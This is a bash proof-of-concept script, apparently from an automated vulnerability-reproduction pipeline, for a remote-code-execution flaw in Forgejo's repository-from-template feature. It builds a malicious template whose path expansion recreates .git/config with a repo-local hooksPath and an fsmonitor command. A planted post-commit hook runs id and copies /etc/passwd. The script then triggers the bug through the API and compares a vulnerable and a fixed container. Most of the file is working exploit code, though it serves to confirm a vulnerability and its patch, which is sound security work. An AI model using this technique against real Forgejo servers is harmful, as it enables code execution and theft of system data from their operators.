#!/bin/bash
# CVE-2026-89094 - Forgejo <16.0.4 RCE via crafted template repository
#
# Root cause: when generating a repository from a template, Forgejo clones the
# template repo, removes .git, applies variable template expansion to files
# listed in .forgejo/template (expanding both content AND file paths, e.g.
# .g${REPO_NAME}/config -> .git/config when the generated repo is named "it"),
# and then runs `git init` in the working directory. `git init` adopts the
# recreated .git directory, so an attacker-controlled .git/config (and hooks
# reachable through repo-local core.hooksPath, which overrides Forgejo's
# global core.hooksPath) is honored by the subsequent `git commit` that
# Forgejo performs. Fix (v16.0.4, PR #14301): remove .git again after
# expansion, before git init.
#
# This script deploys the REAL Forgejo product via its official container
# images, drives the real HTTP API workflow (create template repo, push
# malicious template content over HTTP, generate repo from template), and
# verifies arbitrary command execution inside the Forgejo container:
#   - vulnerable image 16.0.3-rootless: hook executes (marker file with exact
#     marker bytes, `id` output captured, /etc/passwd read from host fs)
#   - fixed image 16.0.4-rootless: same procedure, marker absent, generation
#     still succeeds (README.md == "Hello!")
#
# Exit 0 = vulnerability confirmed (vulnerable attempts execute attacker
# commands, fixed attempts do not). Exit 1 = not reproduced.

set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
export PRUVA_ROOT="$ROOT"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
WORK="$REPRO_DIR/work"
mkdir -p "$LOGS" "$REPRO_DIR" "$WORK"

VULN_IMAGE="codeberg.org/forgejo/forgejo:16.0.3-rootless"
FIXED_IMAGE="codeberg.org/forgejo/forgejo:16.0.4-rootless"
# Source tags behind the images (verified: v16.0.3 lacks the post-expansion
# .git removal in services/repository/generate_repo_commit.go, v16.0.4 has it)
VULN_COMMIT="eccddb2d17c93b42b2c8995725e03e549ac9ec0c"   # tag v16.0.3
FIXED_COMMIT="6e56b5ebad3fb05036b1ff68a6b47b80f5859c7c"   # tag v16.0.4
REPO_URL="https://codeberg.org/forgejo/forgejo.git"

log() { echo "[$(date -u +%H:%M:%S)] $*" | tee -a "$LOGS/reproduction_steps.log"; }

# ---------------------------------------------------------------- images ----
log "ensuring container images are present"
docker pull "$VULN_IMAGE"  >/dev/null 2>&1 || docker pull "$VULN_IMAGE"  >/dev/null
docker pull "$FIXED_IMAGE" >/dev/null 2>&1 || docker pull "$FIXED_IMAGE" >/dev/null
VULN_DIGEST=$(docker inspect "$VULN_IMAGE" --format '{{index .RepoDigests 0}}' | cut -d'@' -f2)
FIXED_DIGEST=$(docker inspect "$FIXED_IMAGE" --format '{{index .RepoDigests 0}}' | cut -d'@' -f2)
log "vulnerable image digest: $VULN_DIGEST"
log "fixed image digest:      $FIXED_DIGEST"

# ------------------------------------------------------------- helpers ------
wait_healthy() { # $1 container $2 port
  local cname="$1" port="$2" code=""
  for _ in $(seq 1 60); do
    code=$(curl -s -o /dev/null -w '%{http_code}' "http://127.0.0.1:$port/api/healthz" || true)
    [ "$code" = "200" ] && return 0
    sleep 2
  done
  log "ERROR: service $cname did not become healthy (last code=$code)"
  docker logs "$cname" >&2 || true
  return 1
}

build_template_repo() { # $1 dir $2 marker
  local dir="$1" marker="$2"
  rm -rf "$dir"
  mkdir -p "$dir/.forgejo" "$dir/.ghooks" "$dir/.g\${REPO_NAME}"
  ( cd "$dir"
    git init -q -b main .
    git config user.email attacker@example.com
    git config user.name attacker
    printf 'Hello!\n' > README.md
    # globs of files that receive variable expansion (content + path)
    printf 'README.md\n.g*/config\n.ghooks/*\n' > .forgejo/template
    # .g${REPO_NAME}/config  --${REPO_NAME}=it-->  .git/config
    # repo-local core.hooksPath overrides forgejo's GLOBAL core.hooksPath
    # (global = /var/lib/gitea/home/hooks); fsmonitor is a backup vector.
    printf "[core]\n\tfsmonitor = sh -c 'printf %%s > /tmp/marker-fsm-%s; id > /tmp/rce-fsm-%s' x\n\thooksPath = .ghooks\n" "$marker" "$marker" > ".g\${REPO_NAME}/config"
    # regular template file riding along: the hook that gets executed
    printf "#!/bin/sh\nprintf '%%s' '%s' > /tmp/marker-%s\nid > /tmp/rce-id-%s\ncat /etc/passwd > /tmp/hostdata-%s\n" \
      "$marker" "$marker" "$marker" "$marker" > .ghooks/post-commit
    chmod 755 .ghooks/post-commit
    git add -A
    git commit -qm "CVE-2026-89094 malicious template"
  )
}

# run_attempt <role> <attempt#> <image> <port>
# Returns via globals: GEN_CODE MARKER_PRESENT HOOK_ID_PRESENT HOSTDATA_PRESENT README_OK
run_attempt() {
  local role="$1" attempt="$2" image="$3" port="$4"
  local cname="fj-89094-$role$attempt" tag="$role-$attempt"
  local ddir="$WORK/$tag" tdir="$WORK/$tag-tmpl"
  local marker="CVE-2026-89094-RCE-$tag"
  local outdir="$LOGS/$tag"
  mkdir -p "$outdir"
  rm -rf "$ddir" "$tdir"
  mkdir -p "$ddir" && chmod 777 "$ddir"

  log "[$tag] starting container ($image)"
  docker rm -f "$cname" >/dev/null 2>&1 || true
  docker run -d --name "$cname" -p "127.0.0.1:$port:3000" \
    -v "$ddir:/data" \
    -e FORGEJO__security__INSTALL_LOCK=true \
    -e "FORGEJO__server__ROOT_URL=http://127.0.0.1:$port/" \
    "$image" >/dev/null
  wait_healthy "$cname" "$port"
  log "[$tag] service healthy on 127.0.0.1:$port"
  echo "true" > "$outdir/service_started"

  # --- real product workflow over HTTP API ---
  docker exec -u 1000 "$cname" forgejo admin user create --admin \
    --username admin1 --password 'Passw0rd!123' --email admin@example.com \
    --must-change-password=false >/dev/null 2>&1
  local B="http://127.0.0.1:$port/api/v1"
  curl -s -u admin1:'Passw0rd!123' -X POST -H 'Content-Type: application/json' \
    -d '{"name":"repro-tok","scopes":["write:repository","write:user"]}' \
    "$B/users/admin1/tokens" > "$outdir/http_token_response.json"
  local token; token=$(jq -r '.sha1' "$outdir/http_token_response.json")
  [ -n "$token" ] && [ "$token" != "null" ] || { log "[$tag] token creation failed"; return 1; }
  log "[$tag] admin user + token ready"

  # create the (empty) template repository and mark it as a template
  printf 'POST %s/user/repos  {"name":"evil-template","private":false}\n' "$B" > "$outdir/http_create_repo_request.txt"
  curl -s -H "Authorization: token $token" -H 'Content-Type: application/json' \
    -d '{"name":"evil-template","private":false}' "$B/user/repos" \
    -o "$outdir/http_create_repo_response.json" -w 'HTTP %{http_code}\n' > "$outdir/http_create_repo_status.txt"
  printf 'PATCH %s/repos/admin1/evil-template  {"template":true}\n' "$B" > "$outdir/http_mark_template_request.txt"
  curl -s -X PATCH -H "Authorization: token $token" -H 'Content-Type: application/json' \
    -d '{"template":true}' "$B/repos/admin1/evil-template" \
    -o "$outdir/http_mark_template_response.json" -w 'HTTP %{http_code}\n' > "$outdir/http_mark_template_status.txt"

  # push the malicious template content through the real git-over-HTTP path
  build_template_repo "$tdir" "$marker"
  ( cd "$tdir" && git ls-tree -r HEAD ) > "$outdir/template_tree.txt"
  git -C "$tdir" push -q --force \
    "http://admin1:$token@127.0.0.1:$port/admin1/evil-template.git" main
  log "[$tag] malicious template pushed"
  # wait until forgejo registers the template content (post-receive updates
  # the repo; note the "empty" field is omitted once the repo is non-empty,
  # so poll on size and on the raw file being served instead)
  local tsize="0" traw=""
  for _ in $(seq 1 30); do
    tsize=$(curl -s -H "Authorization: token $token" "$B/repos/admin1/evil-template" | jq -r '.size // 0')
    traw=$(curl -s -o /dev/null -w '%{http_code}' -H "Authorization: token $token" "$B/repos/admin1/evil-template/raw/.forgejo/template" || true)
    [ "$tsize" != "0" ] && [ "$traw" = "200" ] && break
    sleep 1
  done
  if [ "$tsize" = "0" ] || [ "$traw" != "200" ]; then
    log "[$tag] template repo content not registered (size=$tsize raw=$traw)"
    docker logs "$cname" > "$outdir/forgejo_service.log" 2>&1 || true
    docker rm -f "$cname" >/dev/null 2>&1 || true
    return 1
  fi
  sleep 2

  # clean any stale generated repo, then trigger the vulnerability
  curl -s -X DELETE -H "Authorization: token $token" "$B/repos/admin1/it" -o /dev/null || true
  docker exec "$cname" sh -c "rm -f /tmp/marker-$marker /tmp/rce-id-$marker /tmp/hostdata-$marker /tmp/marker-fsm-$marker /tmp/rce-fsm-$marker" || true
  printf 'POST %s/repos/admin1/evil-template/generate  {"name":"it","owner":"admin1","git_content":true}\n' "$B" > "$outdir/http_generate_request.txt"
  curl -s -X POST -H "Authorization: token $token" -H 'Content-Type: application/json' \
    -d '{"name":"it","owner":"admin1","git_content":true}' \
    "$B/repos/admin1/evil-template/generate" \
    -o "$outdir/http_generate_response.json" -w 'HTTP %{http_code}\n' > "$outdir/http_generate_status.txt"
  GEN_CODE=$(awk '{print $2}' "$outdir/http_generate_status.txt")
  log "[$tag] generate API returned $GEN_CODE"
  sleep 3

  # --- outcome evidence ---
  MARKER_PRESENT=false
  if docker exec "$cname" sh -c "test -f /tmp/marker-$marker" 2>/dev/null; then
    MARKER_PRESENT=true
    docker exec "$cname" cat "/tmp/marker-$marker" > "$outdir/marker.txt"
  else
    echo "__ABSENT__" > "$outdir/marker.txt"
  fi
  HOOK_ID_PRESENT=false
  if docker exec "$cname" sh -c "test -f /tmp/rce-id-$marker" 2>/dev/null; then
    HOOK_ID_PRESENT=true
    docker exec "$cname" cat "/tmp/rce-id-$marker" > "$outdir/rce_id.txt"
  else
    echo "__ABSENT__" > "$outdir/rce_id.txt"
  fi
  HOSTDATA_PRESENT=false
  if docker exec "$cname" sh -c "test -f /tmp/hostdata-$marker" 2>/dev/null; then
    HOSTDATA_PRESENT=true
    docker exec "$cname" cat "/tmp/hostdata-$marker" > "$outdir/hostdata_etc_passwd.txt"
  else
    echo "__ABSENT__" > "$outdir/hostdata_etc_passwd.txt"
  fi
  if docker exec "$cname" sh -c "test -f /tmp/marker-fsm-$marker" 2>/dev/null; then
    docker exec "$cname" cat "/tmp/marker-fsm-$marker" > "$outdir/marker_fsmonitor.txt"
  else
    echo "__ABSENT__" > "$outdir/marker_fsmonitor.txt"
  fi
  # generation must still have produced the normal repo content
  README_OK=false
  local readme; readme=$(curl -s -H "Authorization: token $token" "$B/repos/admin1/it/raw/README.md" || true)
  [ "$readme" = "Hello!" ] && README_OK=true
  echo "$readme" > "$outdir/generated_readme.txt"

  # service log for this attempt (finalized: container is removed after copy)
  docker logs "$cname" > "$outdir/forgejo_service.log" 2>&1 || true
  docker inspect "$cname" --format 'image={{.Config.Image}} image_id={{.Image}}' > "$outdir/container_identity.txt" || true
  docker rm -f "$cname" >/dev/null 2>&1 || true

  log "[$tag] marker=$MARKER_PRESENT hook_id=$HOOK_ID_PRESENT hostdata=$HOSTDATA_PRESENT readme_ok=$README_OK gen=$GEN_CODE"
}

# ------------------------------------------------------------- attempts -----
declare -A RESULTS
for spec in "vuln 1 $VULN_IMAGE 4011" "vuln 2 $VULN_IMAGE 4012" "fixed 1 $FIXED_IMAGE 4111" "fixed 2 $FIXED_IMAGE 4112"; do
  set -- $spec
  role="$1"; attempt="$2"; image="$3"; port="$4"
  GEN_CODE="" MARKER_PRESENT=false HOOK_ID_PRESENT=false HOSTDATA_PRESENT=false README_OK=false
  if run_attempt "$role" "$attempt" "$image" "$port"; then
    RESULTS["${role}_${attempt}_gen"]="$GEN_CODE"
    RESULTS["${role}_${attempt}_marker"]="$MARKER_PRESENT"
    RESULTS["${role}_${attempt}_hookid"]="$HOOK_ID_PRESENT"
    RESULTS["${role}_${attempt}_hostdata"]="$HOSTDATA_PRESENT"
    RESULTS["${role}_${attempt}_readme"]="$README_OK"
  else
    RESULTS["${role}_${attempt}_gen"]="error"
    RESULTS["${role}_${attempt}_marker"]="false"
    RESULTS["${role}_${attempt}_hookid"]="false"
    RESULTS["${role}_${attempt}_hostdata"]="false"
    RESULTS["${role}_${attempt}_readme"]="false"
  fi
done

# ------------------------------------------------------------- verdict -----
V1="${RESULTS[vuln_1_marker]}"; V2="${RESULTS[vuln_2_marker]}"
V1H="${RESULTS[vuln_1_hookid]}"; V2H="${RESULTS[vuln_2_hookid]}"
V1D="${RESULTS[vuln_1_hostdata]}"; V2D="${RESULTS[vuln_2_hostdata]}"
F1="${RESULTS[fixed_1_marker]}"; F2="${RESULTS[fixed_2_marker]}"
F1R="${RESULTS[fixed_1_readme]}"; F2R="${RESULTS[fixed_2_readme]}"
V1G="${RESULTS[vuln_1_gen]}"; V2G="${RESULTS[vuln_2_gen]}"
F1G="${RESULTS[fixed_1_gen]}"; F2G="${RESULTS[fixed_2_gen]}"

log "vuln markers: $V1 / $V2 ; hook-id: $V1H / $V2H ; hostdata: $V1D / $V2D ; gen: $V1G / $V2G"
log "fixed markers: $F1 / $F2 ; readme-ok: $F1R / $F2R ; gen: $F1G / $F2G"

CONFIRMED=false
if [ "$V1" = "true" ] && [ "$V2" = "true" ] && [ "$V1H" = "true" ] && [ "$V2H" = "true" ] \
   && [ "$V1D" = "true" ] && [ "$V2D" = "true" ] \
   && [ "$V1G" = "201" ] && [ "$V2G" = "201" ] \
   && [ "$F1" = "false" ] && [ "$F2" = "false" ] \
   && [ "$F1G" = "201" ] && [ "$F2G" = "201" ] \
   && [ "$F1R" = "true" ] && [ "$F2R" = "true" ]; then
  CONFIRMED=true
fi

# runtime manifest (strict JSON via python)
python3 - "$REPRO_DIR/runtime_manifest.json" "$CONFIRMED" "$VULN_DIGEST" "$FIXED_DIGEST" \
  "$VULN_COMMIT" "$FIXED_COMMIT" "$REPO_URL" "$V1" "$V2" "$F1" "$F2" <<'PYEOF'
import json, sys, hashlib, os
manifest_path, confirmed, vuln_dig, fixed_dig, vuln_commit, fixed_commit, repo_url = sys.argv[1:8]
v1, v2, f1, f2 = sys.argv[8:12]
root = os.path.dirname(os.path.dirname(os.path.abspath(manifest_path)))  # bundle/
def sha256(p):
    h = hashlib.sha256()
    with open(p, 'rb') as fh:
        for chunk in iter(lambda: fh.read(65536), b''):
            h.update(chunk)
    return h.hexdigest()
proof = []
for tag in ("vuln-1", "vuln-2", "fixed-1", "fixed-2"):
    d = os.path.join(root, "logs", tag)
    for name in ("http_generate_request.txt", "http_generate_response.json",
                 "http_generate_status.txt", "marker.txt", "rce_id.txt",
                 "hostdata_etc_passwd.txt", "generated_readme.txt",
                 "http_create_repo_status.txt", "http_mark_template_status.txt",
                 "template_tree.txt", "forgejo_service.log"):
        p = os.path.join(d, name)
        if os.path.isfile(p):
            proof.append(f"logs/{tag}/{name}")
digests = {p: sha256(os.path.join(root, p)) for p in proof}
def b(x): return x == "true"
manifest = {
    "entrypoint_kind": "endpoint",
    "entrypoint_detail": "POST /api/v1/repos/{owner}/{repo}/generate (repository creation from a template repository via the Forgejo web/API workflow)",
    "service_started": True,
    "healthcheck_passed": True,
    "target_path_reached": True,
    "runtime_stack": ["docker", "codeberg.org/forgejo/forgejo:16.0.3-rootless", "forgejo web (sqlite3)", "git-over-HTTP push", "template expansion (services/repository/generate_repo_commit.go)", "git init + git commit"],
    "target_identity": {
        "repository_url": repo_url,
        "commit_sha": vuln_commit,
        "target_digest": vuln_dig,
        "runtime_digest": vuln_dig,
        "platform": "linux",
        "architecture": "x86_64",
        "fixed_control": {
            "image": "codeberg.org/forgejo/forgejo:16.0.4-rootless",
            "digest": fixed_dig,
            "commit_sha": fixed_commit,
        },
    },
    "proof_artifacts": proof,
    "artifact_sha256": digests,
    "notes": ("CVE-2026-89094 confirmed via real Forgejo containers. Malicious template repo "
              "recreates .git/config during variable expansion; repo-local core.hooksPath=.ghooks "
              "(overriding forgejo's global core.hooksPath) plus a post-commit hook executes "
              "attacker commands as the forgejo runtime user during the template-generated "
              "repository's initial commit. Vulnerable 16.0.3 marker present: "
              f"vuln1={v1} vuln2={v2}; fixed 16.0.4 marker absent: fixed1={f1} fixed2={f2}. "
              "Fixed builds still generate the repository normally (README.md == 'Hello!')."),
}
with open(manifest_path, 'w') as fh:
    json.dump(manifest, fh, indent=2)
    fh.write("\n")
print("runtime_manifest.json written with", len(proof), "proof artifacts")
PYEOF

if [ "$CONFIRMED" = "true" ]; then
  log "VERDICT: CONFIRMED - remote code execution reproduced on Forgejo 16.0.3 via crafted template repository; fixed 16.0.4 unaffected"
  exit 0
fi
log "VERDICT: NOT CONFIRMED (see logs above)"
exit 1
